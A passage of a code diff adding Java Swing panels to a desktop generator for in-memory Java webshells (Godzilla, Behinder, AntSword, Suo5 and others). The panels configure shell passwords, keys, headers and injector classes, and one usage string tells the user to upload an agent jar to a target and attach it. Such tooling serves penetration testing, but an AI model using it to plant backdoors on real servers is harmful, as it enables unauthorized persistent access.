add(corePanel, "growx");
toolPanelWrap = new JPanel(new BorderLayout());
toolPanelWrap.setBorder(BorderFactory.createTitledBorder("内存马功能"));
// Keep the active tool panel at preferred height to avoid large blank sections.
toolPanelWrap.add(toolCardPanel, BorderLayout.NORTH);
add(toolPanelWrap, "growx");
registerToolPanel("Godzilla", new GodzillaToolPanel(controller, refreshAll));
registerToolPanel("Command", new CommandToolPanel(controller, refreshAll));
registerToolPanel("Behinder", new BehinderToolPanel(controller, refreshAll));
registerToolPanel("AntSword", new AntSwordToolPanel(controller, refreshAll));
registerToolPanel("Suo5", new Suo5ToolPanel(controller, refreshAll));
registerToolPanel("Suo5v2", new Suo5ToolPanel(controller, refreshAll));
registerToolPanel("NeoreGeorg", new NeoRegToolPanel(controller, refreshAll));
registerToolPanel("Proxy", new ProxyToolPanel(controller, refreshAll));
registerToolPanel("Custom", new CustomToolPanel(controller, parser, refreshAll));
bindEvents();
}
private void registerToolPanel(String key, RefreshableToolPanel panel) {
toolPanels.put(key, panel);
toolCardPanel.add((Component) panel, key);
}
private JPanel labeled(String label, JComponent component) {
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
p.add(new JLabel(label));
p.add(component, "growx");
return p;
}
private void bindEvents() {
serverCombo.addActionListener(e -> {
if (updating) return;
Object item = serverCombo.getSelectedItem();
if (item != null) {
controller.setServer(String.valueOf(item));
refreshAll.run();
}
});
serverVersionCombo.addActionListener(e -> {
if (updating) return;
Object item = serverVersionCombo.getSelectedItem();
if (item != null) controller.setServerVersion(String.valueOf(item));
});
shellToolCombo.addActionListener(e -> {
if (updating) return;
Object item = shellToolCombo.getSelectedItem();
if (item != null) {
controller.setShellTool(String.valueOf(item));
refreshAll.run();
}
});
targetJdkCombo.addActionListener(e -> {
if (updating) return;
Object item = targetJdkCombo.getSelectedItem();
if (item != null) {
controller.setTargetJdkVersion(String.valueOf(item));
refreshAll.run();
}
});
debugCheck.addActionListener(e -> controller.setDebug(debugCheck.isSelected()));
probeCheck.addActionListener(e -> controller.setProbe(probeCheck.isSelected()));
bypassCheck.addActionListener(e -> controller.setByPassJavaModule(bypassCheck.isSelected()));
lambdaCheck.addActionListener(e -> controller.setLambdaSuffix(lambdaCheck.isSelected()));
shrinkCheck.addActionListener(e -> controller.setShrink(shrinkCheck.isSelected()));
staticInitCheck.addActionListener(e -> controller.setStaticInitialize(staticInitCheck.isSelected()));
}
public void refreshFromController() {
MemShellFormState s = controller.getState();
updating = true;
try {
setComboItems(serverCombo, controller.getServers(), s.getServer());
setComboItems(serverVersionCombo, controller.getServerVersionOptions(), s.getServerVersion());
setComboItems(shellToolCombo, controller.getShellTools(), s.getShellTool());
setComboItems(targetJdkCombo, controller.getConfigCatalogService().getTargetJdkOptions(), s.getTargetJdkVersion());
debugCheck.setSelected(s.isDebug());
probeCheck.setSelected(s.isProbe());
bypassCheck.setSelected(s.isByPassJavaModule());
lambdaCheck.setSelected(s.isLambdaSuffix());
shrinkCheck.setSelected(s.isShrink());
staticInitCheck.setSelected(s.isStaticInitialize());
} finally {
updating = false;
}
CardLayout cardLayout = (CardLayout) toolCardPanel.getLayout();
cardLayout.show(toolCardPanel, s.getShellTool());
RefreshableToolPanel toolPanel = toolPanels.get(s.getShellTool());
if (toolPanel != null) {
toolPanel.refreshFromController();
}
}
private void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
combo.removeAllItems();
for (String item : items) combo.addItem(item);
if (selected != null) combo.setSelectedItem(selected);
}
public JComponent getCorePanelComponent() {
return corePanel;
}
public JComponent getToolPanelComponent() {
return toolPanelWrap;
}
}
@@ -0,0 +1,131 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class PackageConfigPanel extends JPanel {
private final MemShellFormController controller;
private final Runnable refreshAll;
private boolean updating;
private final JComboBox<PackerEntryModel> packerCombo = new JComboBox<>();
private final JPanel dynamicFieldsPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
public PackageConfigPanel(MemShellFormController controller, Runnable refreshAll) {
super(new MigLayout("insets 8, fillx, wrap 1", "[grow,fill]", "[]4[]"));
this.controller = controller;
this.refreshAll = refreshAll;
setBorder(BorderFactory.createTitledBorder("打包配置"));
JPanel top = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
top.add(new JLabel("打包方式"));
top.add(packerCombo, "growx");
add(top, "growx");
add(dynamicFieldsPanel, "growx");
packerCombo.setRenderer(new DefaultListCellRenderer() {
@Override
public java.awt.Component getListCellRendererComponent(JList<?> list, Object value, int index, boolean isSelected, boolean cellHasFocus) {
super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus);
if (value instanceof PackerEntryModel) {
PackerEntryModel p = (PackerEntryModel) value;
setText(p.displayLabel());
}
return this;
}
});
packerCombo.addActionListener(e -> {
if (updating) return;
Object item = packerCombo.getSelectedItem();
if (item instanceof PackerEntryModel) {
PackerEntryModel p = (PackerEntryModel) item;
controller.setPacker(p.getName());
refreshAll.run();
}
});
}
public void refreshFromController() {
updating = true;
try {
DefaultComboBoxModel<PackerEntryModel> model = new DefaultComboBoxModel<>();
List<PackerEntryModel> filtered = controller.getFilteredPackers();
PackerEntryModel selected = controller.getSelectedPackerEntry();
for (PackerEntryModel p : filtered) model.addElement(p);
packerCombo.setModel(model);
if (selected != null) packerCombo.setSelectedItem(selected);
rebuildDynamicFields(controller.getSelectedPackerFields(), controller.getPackerCustomConfig());
} finally {
updating = false;
}
}
private void rebuildDynamicFields(List<PackerSchemaFieldModel> fields, Map<String, Object> currentValues) {
dynamicFieldsPanel.removeAll();
if (fields == null || fields.isEmpty()) {
dynamicFieldsPanel.revalidate();
dynamicFieldsPanel.repaint();
return;
}
for (PackerSchemaFieldModel field : fields) {
String type = field.getType();
if (!"BOOLEAN".equals(type) && !"STRING".equals(type) && !"ENUM".equals(type) && !"INTEGER".equals(type)) {
continue;
}
Object value = currentValues.get(field.getKey());
if ("BOOLEAN".equals(type)) {
JCheckBox check = new JCheckBox(field.getKey());
check.setSelected(Boolean.TRUE.equals(value));
check.addActionListener(e -> controller.setPackerCustomField(field.getKey(), check.isSelected()));
dynamicFieldsPanel.add(check, "span 2, growx");
continue;
}
dynamicFieldsPanel.add(new JLabel(field.getKey()));
if ("ENUM".equals(type)) {
JComboBox<String> combo = new JComboBox<>();
for (PackerSchemaFieldModel.Option option : field.getOptions()) {
combo.addItem(option.getValue());
}
if (value != null) combo.setSelectedItem(String.valueOf(value));
combo.addActionListener(e -> controller.setPackerCustomField(field.getKey(), combo.getSelectedItem()));
dynamicFieldsPanel.add(combo, "growx");
} else {
JTextField text = new JTextField(value == null ? "" : String.valueOf(value));
text.getDocument().addDocumentListener(new DocumentListener() {
@Override public void insertUpdate(DocumentEvent e) { changed(); }
@Override public void removeUpdate(DocumentEvent e) { changed(); }
@Override public void changedUpdate(DocumentEvent e) { changed(); }
private void changed() {
if (updating) return;
if ("INTEGER".equals(type)) {
String raw = text.getText().trim();
if (raw.isEmpty()) {
controller.setPackerCustomField(field.getKey(), null);
} else {
try {
controller.setPackerCustomField(field.getKey(), Integer.parseInt(raw));
} catch (NumberFormatException ignored) {
}
}
} else {
controller.setPackerCustomField(field.getKey(), text.getText());
}
}
});
dynamicFieldsPanel.add(text, "growx");
}
}
dynamicFieldsPanel.revalidate();
dynamicFieldsPanel.repaint();
}
}
@@ -0,0 +1,249 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.util.ClipboardUtil;
import com.reajason.javaweb.desktop.memshell.util.FileSaveUtil;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.*;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.border.Border;
import java.awt.*;
import java.io.IOException;
public class ResultPanel extends JPanel {
private final JTabbedPane tabs = new JTabbedPane();
private final BasicInfoView basicInfoView = new BasicInfoView();
private final JTextArea packResultArea = createTextArea();
private final JTextArea shellArea = createTextArea();
private final JTextArea injectorArea = createTextArea();
private final JLabel packHeaderLabel = new JLabel("未生成");
private DesktopMemShellGenerateResult current;
public ResultPanel() {
super(new BorderLayout());
JPanel packTab = new JPanel(new MigLayout("insets 6, fill, wrap 1", "[grow,fill]", "[][grow]"));
packTab.add(wrapBasicInfoPanel(), "growx");
packTab.add(wrapPackResultPanel(), "grow, push");
tabs.addTab("生成结果", packTab);
tabs.addTab("内存马", wrapBase64Panel("内存马类字节(Base64)", shellArea, true, true));
tabs.addTab("注入器", wrapBase64Panel("注入器类字节(Base64)", injectorArea, false, true));
add(tabs, BorderLayout.CENTER);
}
private JPanel wrapBasicInfoPanel() {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
top.add(new JLabel("基本信息"));
Border cardBorder = BorderFactory.createCompoundBorder(
BorderFactory.createLineBorder(UIManager.getColor("Component.borderColor") == null ? Color.LIGHT_GRAY : UIManager.getColor("Component.borderColor")),
BorderFactory.createEmptyBorder(6, 6, 6, 6)
);
p.setBorder(cardBorder);
p.add(top, BorderLayout.NORTH);
p.add(basicInfoView, BorderLayout.CENTER);
return p;
}
private JPanel wrapPackResultPanel() {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
JButton copyBtn = new JButton("复制");
JButton saveBtn = new JButton("保存");
copyBtn.addActionListener(e -> ClipboardUtil.copyText(packResultArea.getText()));
saveBtn.addActionListener(e -> savePackResult());
top.add(new JLabel("打包结果"));
top.add(packHeaderLabel);
top.add(copyBtn);
top.add(saveBtn);
p.add(top, BorderLayout.NORTH);
p.add(new JScrollPane(packResultArea), BorderLayout.CENTER);
return p;
}
private JPanel wrapBase64Panel(String title, JTextArea area, boolean shell, boolean saveClass) {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
JButton copyBtn = new JButton("复制");
JButton saveBtn = new JButton(saveClass ? "保存 .class" : "保存");
copyBtn.addActionListener(e -> ClipboardUtil.copyText(area.getText()));
saveBtn.addActionListener(e -> {
if (current == null) return;
try {
MemShellResult r = current.getMemShellResult();
if (shell) {
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getShellClassName()), r.getShellBytesBase64Str(), "class");
} else {
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getInjectorClassName()), r.getInjectorBytesBase64Str(), "class");
}
} catch (Exception ex) {
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
}
});
top.add(new JLabel(title));
top.add(copyBtn);
top.add(saveBtn);
p.add(top, BorderLayout.NORTH);
p.add(new JScrollPane(area), BorderLayout.CENTER);
return p;
}
private JTextArea createTextArea() {
JTextArea area = new JTextArea();
area.setEditable(false);
area.setLineWrap(true);
area.setWrapStyleWord(true);
area.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 12));
return area;
}
public void showResult(DesktopMemShellGenerateResult result) {
this.current = result;
MemShellResult r = result.getMemShellResult();
basicInfoView.setResult(result);
packHeaderLabel.setText(result.getPackMethod() + (result.getPackResult() == null ? "" : " (" + result.getPackResult().length() + ")"));
if (result.isJarOutput() || result.isAgentOutput()) {
packResultArea.setText(buildUsageText(result));
} else {
packResultArea.setText(result.getPackResult());
}
shellArea.setText(r.getShellBytesBase64Str());
injectorArea.setText(r.getInjectorBytesBase64Str());
}
public void clear() {
current = null;
basicInfoView.clear();
packResultArea.setText("");
shellArea.setText("");
injectorArea.setText("");
packHeaderLabel.setText("未生成");
}
private String buildUsageText(DesktopMemShellGenerateResult result) {
if (result.isAgentOutput()) {
return "1. 点击保存导出 Agent Jar\n2. 上传到目标机器\n3. 使用 jattach/attach 方式加载\n4. 按生成配置尝试连接/触发\n\n(下方“保存”按钮会保存打包后的 Jar)";
}
return "1. 点击保存导出 Jar\n2. 按目标环境触发类加载\n3. 使用基本信息中的参数连接内存马\n\n(下方“保存”按钮会保存打包后的 Jar)";
}
private void savePackResult() {
if (current == null) return;
try {
if (current.isJarOutput() || current.isAgentOutput()) {
String baseName = current.getMemShellResult().getShellConfig().getServer() + current.getMemShellResult().getShellConfig().getShellTool() + (current.isAgentOutput() ? "MemShellAgent" : "MemShell");
FileSaveUtil.saveBase64AsBytes(this, baseName + ".jar", current.getPackResult(), "jar");
} else {
FileSaveUtil.saveText(this, current.getPackMethod() + ".txt", current.getPackResult());
}
} catch (Exception ex) {
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
}
}
private static String simpleClassFileName(String className) {
if (className == null || className.trim().isEmpty()) return "output.class";
int idx = className.lastIndexOf('.');
return (idx >= 0 ? className.substring(idx + 1) : className) + ".class";
}
public JComponent getBasicInfoComponent() {
return basicInfoView;
}
static final class BasicInfoView extends JPanel {
private final JPanel content = new JPanel(new MigLayout("insets 0, fillx, gapx 10, gapy 2, wrap 2", "[right]10[grow,fill]", "[]"));
BasicInfoView() {
super(new BorderLayout());
add(content, BorderLayout.CENTER);
clear();
}
void clear() {
content.removeAll();
content.revalidate();
content.repaint();
}
void setResult(DesktopMemShellGenerateResult result) {
content.removeAll();
MemShellResult r = result.getMemShellResult();
ShellConfig shellConfig = r.getShellConfig();
ShellToolConfig toolConfig = r.getShellToolConfig();
appendToolRows(shellConfig, toolConfig);
row("注入器类名", r.getInjectorClassName() + " (" + r.getInjectorSize() + " bytes)");
row("内存马类名", r.getShellClassName() + " (" + r.getShellSize() + " bytes)");
content.revalidate();
content.repaint();
}
private void appendToolRows(ShellConfig shellConfig, ShellToolConfig toolConfig) {
if (toolConfig == null) {
row("参数", "");
return;
}
String tool = shellConfig == null ? null : shellConfig.getShellTool();
if (toolConfig instanceof GodzillaConfig) {
GodzillaConfig c = (GodzillaConfig) toolConfig;
row("密码", c.getPass());
row("密钥", c.getKey());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof BehinderConfig) {
BehinderConfig c = (BehinderConfig) toolConfig;
row("密码", c.getPass());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof CommandConfig) {
CommandConfig c = (CommandConfig) toolConfig;
row("参数名", c.getParamName());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
row("加密器", c.getEncryptor() == null ? "" : c.getEncryptor().name());
row("实现类", c.getImplementationClass() == null ? "" : c.getImplementationClass().name());
if (c.getTemplate() != null) {
row("命令模板", c.getTemplate());
}
} else if (toolConfig instanceof AntSwordConfig) {
AntSwordConfig c = (AntSwordConfig) toolConfig;
row("密码", c.getPass());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof Suo5Config) {
Suo5Config c = (Suo5Config) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof ProxyConfig) {
ProxyConfig c = (ProxyConfig) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof NeoreGeorgConfig) {
NeoreGeorgConfig c = (NeoreGeorgConfig) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof CustomConfig) {
CustomConfig c = (CustomConfig) toolConfig;
String v = c.getShellClassBase64();
row("自定义类(Base64)", v == null ? "" : (v.length() > 32 ? v.substring(0, 32) + "..." : v));
} else if (tool != null) {
row("工具类型", tool);
}
}
private void row(String key, String value) {
addValueRow(key, value);
}
private void addValueRow(String key, String value) {
String text = value == null ? "" : value;
content.add(new JLabel(key));
JTextField tf = new JTextField(text);
tf.setEditable(false);
tf.setBorder(BorderFactory.createEmptyBorder(1, 4, 1, 4));
tf.setOpaque(true);
tf.setBackground(UIManager.getColor("Panel.background"));
tf.setToolTipText(value == null ? "" : value);
tf.setToolTipText(text);
content.add(tf, "growx, wrap");
}
}
}
@@ -0,0 +1,118 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.awt.*;
import java.util.List;
import java.util.function.Consumer;
public abstract class AbstractToolPanel extends JPanel implements RefreshableToolPanel {
protected final MemShellFormController controller;
protected final Runnable refreshAll;
protected boolean updating;
protected final JComboBox<String> shellTypeCombo = new JComboBox<>();
protected final JTextField urlPatternField = new JTextField();
protected final JPanel shellTypeAndUrlRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[50%,fill][50%,fill]", "[]"));
protected JPanel urlPatternRow = new JPanel(new BorderLayout());
protected final JCheckBox randomClassNameCheck = new JCheckBox("随机类名");
protected final JPanel manualClassPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
protected final JTextField shellClassNameField = new JTextField();
protected final JTextField injectorClassNameField = new JTextField();
protected AbstractToolPanel(MemShellFormController controller, Runnable refreshAll) {
this.controller = controller;
this.refreshAll = refreshAll;
setLayout(new MigLayout("insets 6, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
buildCommonShellTypeSection();
}
protected void buildCommonShellTypeSection() {
shellTypeAndUrlRow.add(labeled("内存马挂载类型", shellTypeCombo), "growx");
urlPatternRow = labeled("请求路径", urlPatternField);
shellTypeAndUrlRow.add(urlPatternRow, "growx");
add(shellTypeAndUrlRow, "span 2, growx, wrap");
shellTypeCombo.addActionListener(e -> {
if (updating) return;
Object item = shellTypeCombo.getSelectedItem();
if (item != null) {
controller.setShellType(String.valueOf(item));
refreshAll.run();
}
});
bindText(urlPatternField, controller::setUrlPattern);
}
protected void addRandomClassSection() {
add(randomClassNameCheck, "span 2, split 2, wrap");
manualClassPanel.add(labeled("内存马类名", shellClassNameField), "growx");
manualClassPanel.add(labeled("注入器类名", injectorClassNameField), "growx");
add(manualClassPanel, "span 2, growx, hidemode 3");
randomClassNameCheck.addActionListener(e -> {
if (updating) return;
controller.setRandomClassName(randomClassNameCheck.isSelected());
refreshAll.run();
});
bindText(shellClassNameField, controller::setShellClassName);
bindText(injectorClassNameField, controller::setInjectorClassName);
}
protected JPanel labeled(String label, JComponent component) {
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
p.add(new JLabel(label), "growx");
p.add(component, "growx");
return p;
}
protected void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
combo.removeAllItems();
for (String item : items) combo.addItem(item);
if (selected != null) combo.setSelectedItem(selected);
}
protected void bindText(JTextField field, Consumer<String> setter) {
field.getDocument().addDocumentListener(new DocumentListener() {
@Override
public void insertUpdate(DocumentEvent e) {
changed();
}
@Override
public void removeUpdate(DocumentEvent e) {
changed();
}
@Override
public void changedUpdate(DocumentEvent e) {
changed();
}
private void changed() {
if (updating) return;
setter.accept(field.getText());
}
});
}
protected void applyCommonState(MemShellFormState s) {
updating = true;
try {
setComboItems(shellTypeCombo, controller.getShellTypesForCurrentTool(), s.getShellType());
urlPatternField.setText(s.getUrlPattern());
randomClassNameCheck.setSelected(s.isRandomClassName());
boolean nextManualClassVisible = !s.isRandomClassName();
manualClassPanel.setVisible(nextManualClassVisible);
shellClassNameField.setText(s.getShellClassName());
injectorClassNameField.setText(s.getInjectorClassName());
} finally {
updating = false;
}
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class AntSwordToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public AntSwordToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setAntSwordPass);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getAntSwordPass());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class BehinderToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public BehinderToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setBehinderPass);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getBehinderPass());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,99 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
public class CommandToolPanel extends AbstractToolPanel {
private final JPanel paramRow = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[]"));
private final JTextField paramField = new JTextField();
private final JPanel headerRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
private final JCheckBox advancedToggle = new JCheckBox("高级配置");
private final JPanel advancedPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
private final JComboBox<String> encryptorCombo = new JComboBox<>();
private final JComboBox<String> implCombo = new JComboBox<>();
private final JTextField commandTemplateField = new JTextField();
public CommandToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
paramRow.add(labeled("参数名(可选)", paramField), "growx");
add(paramRow, "span 2, growx, wrap, hidemode 3");
headerRow.add(labeled("请求头名", headerNameField), "growx");
headerRow.add(labeled("请求头值(可选)", headerValueField), "growx");
add(headerRow, "span 2, growx, wrap, hidemode 3");
add(advancedToggle, "span 2, gapy 2 0, wrap");
advancedPanel.add(labeled("加密器", encryptorCombo), "growx");
advancedPanel.add(labeled("实现类", implCombo), "growx");
advancedPanel.add(labeled("命令模板(可选)", commandTemplateField), "span 2, growx");
add(advancedPanel, "span 2, growx, wrap, hidemode 3");
addRandomClassSection();
bindText(paramField, controller::setCommandParamName);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
bindText(commandTemplateField, controller::setCommandTemplate);
encryptorCombo.addActionListener(e -> {
if (updating) return;
Object item = encryptorCombo.getSelectedItem();
controller.setEncryptor(item == null ? "" : String.valueOf(item));
});
implCombo.addActionListener(e -> {
if (updating) return;
Object item = implCombo.getSelectedItem();
controller.setImplementationClass(item == null ? "" : String.valueOf(item));
});
advancedToggle.addActionListener(e -> {
advancedPanel.setVisible(advancedToggle.isSelected());
revalidate();
repaint();
});
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
String encryptor = (s.getEncryptor() == null || s.getEncryptor().trim().isEmpty())
? (controller.getCommandEncryptors().isEmpty() ? null : controller.getCommandEncryptors().get(0))
: s.getEncryptor();
String impl = (s.getImplementationClass() == null || s.getImplementationClass().trim().isEmpty())
? (controller.getCommandImplementationClasses().isEmpty() ? null : controller.getCommandImplementationClasses().get(0))
: s.getImplementationClass();
setComboItems(encryptorCombo, controller.getCommandEncryptors(), encryptor);
setComboItems(implCombo, controller.getCommandImplementationClasses(), impl);
boolean nextParamVisible = controller.isCommandParamVisible();
boolean nextHeaderVisible = controller.isCommandHeaderVisible();
if (paramRow.isVisible() != nextParamVisible) {
layoutVisibilityChanged = true;
}
if (headerRow.isVisible() != nextHeaderVisible) {
layoutVisibilityChanged = true;
}
paramRow.setVisible(nextParamVisible);
headerRow.setVisible(nextHeaderVisible);
paramField.setText(s.getCommandParamName());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
commandTemplateField.setText(s.getCommandTemplate());
boolean nextAdvancedVisible = advancedToggle.isSelected();
if (advancedPanel.isVisible() != nextAdvancedVisible) {
layoutVisibilityChanged = true;
}
advancedPanel.setVisible(nextAdvancedVisible);
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -0,0 +1,131 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.awt.event.ActionEvent;
import java.io.File;
import java.nio.file.Files;
import java.util.Base64;
public class CustomToolPanel extends AbstractToolPanel {
private final CustomClassNameParser parser;
private final JRadioButton base64Mode = new JRadioButton("Base64", true);
private final JRadioButton fileMode = new JRadioButton("File");
private final JTextArea base64Area = new JTextArea(4, 40);
private final JButton fileButton = new JButton("选择 .class 文件");
private final JLabel fileLabel = new JLabel("未选择文件");
private final JPanel base64Panel = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[grow,fill]"));
private final JPanel filePanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][]", "[]"));
private final Timer parseDebounce;
public CustomToolPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
super(controller, refreshAll);
this.parser = parser;
ButtonGroup group = new ButtonGroup();
group.add(base64Mode);
group.add(fileMode);
add(new JLabel("Shell Class"));
JPanel radioWrap = new JPanel(new MigLayout("insets 0, gapx 8", "[][]", "[]"));
radioWrap.add(base64Mode);
radioWrap.add(fileMode);
add(radioWrap, "growx, wrap");
base64Panel.add(new JScrollPane(base64Area), "grow");
filePanel.add(fileLabel, "growx");
filePanel.add(fileButton);
add(base64Panel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
add(filePanel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
addRandomClassSection();
parseDebounce = new Timer(400, this::parseAndFillClassName);
parseDebounce.setRepeats(false);
base64Area.getDocument().addDocumentListener(new DocumentListener() {
@Override public void insertUpdate(DocumentEvent e) { changed(); }
@Override public void removeUpdate(DocumentEvent e) { changed(); }
@Override public void changedUpdate(DocumentEvent e) { changed(); }
private void changed() {
if (updating) return;
controller.setShellClassBase64(base64Area.getText());
parseDebounce.restart();
}
});
base64Mode.addActionListener(e -> {
if (updating) return;
controller.setCustomInputMode("base64");
refreshAll.run();
});
fileMode.addActionListener(e -> {
if (updating) return;
controller.setCustomInputMode("file");
refreshAll.run();
});
fileButton.addActionListener(this::chooseFile);
}
private void chooseFile(ActionEvent event) {
JFileChooser chooser = new JFileChooser();
int result = chooser.showOpenDialog(this);
if (result != JFileChooser.APPROVE_OPTION) return;
File file = chooser.getSelectedFile();
try {
byte[] bytes = Files.readAllBytes(file.toPath());
String base64 = Base64.getEncoder().encodeToString(bytes);
controller.setShellClassBase64(base64);
fileLabel.setText(file.getName());
String className = parser.parseClassName(bytes);
controller.setShellClassName(className);
refreshAll.run();
} catch (Exception ex) {
SwingUiUtil.showError(this, "读取自定义类失败: " + ex.getMessage());
}
}
private void parseAndFillClassName(ActionEvent ignored) {
try {
String base64 = controller.getState().getShellClassBase64();
if (base64 == null || base64.trim().isEmpty()) return;
String className = parser.parseClassNameFromBase64(base64);
controller.setShellClassName(className);
refreshAll.run();
} catch (Exception ignoredEx) {
// ignore parse errors while typing/pasting
}
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
base64Mode.setSelected("base64".equalsIgnoreCase(s.getCustomInputMode()));
fileMode.setSelected("file".equalsIgnoreCase(s.getCustomInputMode()));
boolean nextBase64Visible = base64Mode.isSelected();
boolean nextFileVisible = fileMode.isSelected();
if (base64Panel.isVisible() != nextBase64Visible) {
layoutVisibilityChanged = true;
}
if (filePanel.isVisible() != nextFileVisible) {
layoutVisibilityChanged = true;
}
base64Panel.setVisible(nextBase64Visible);
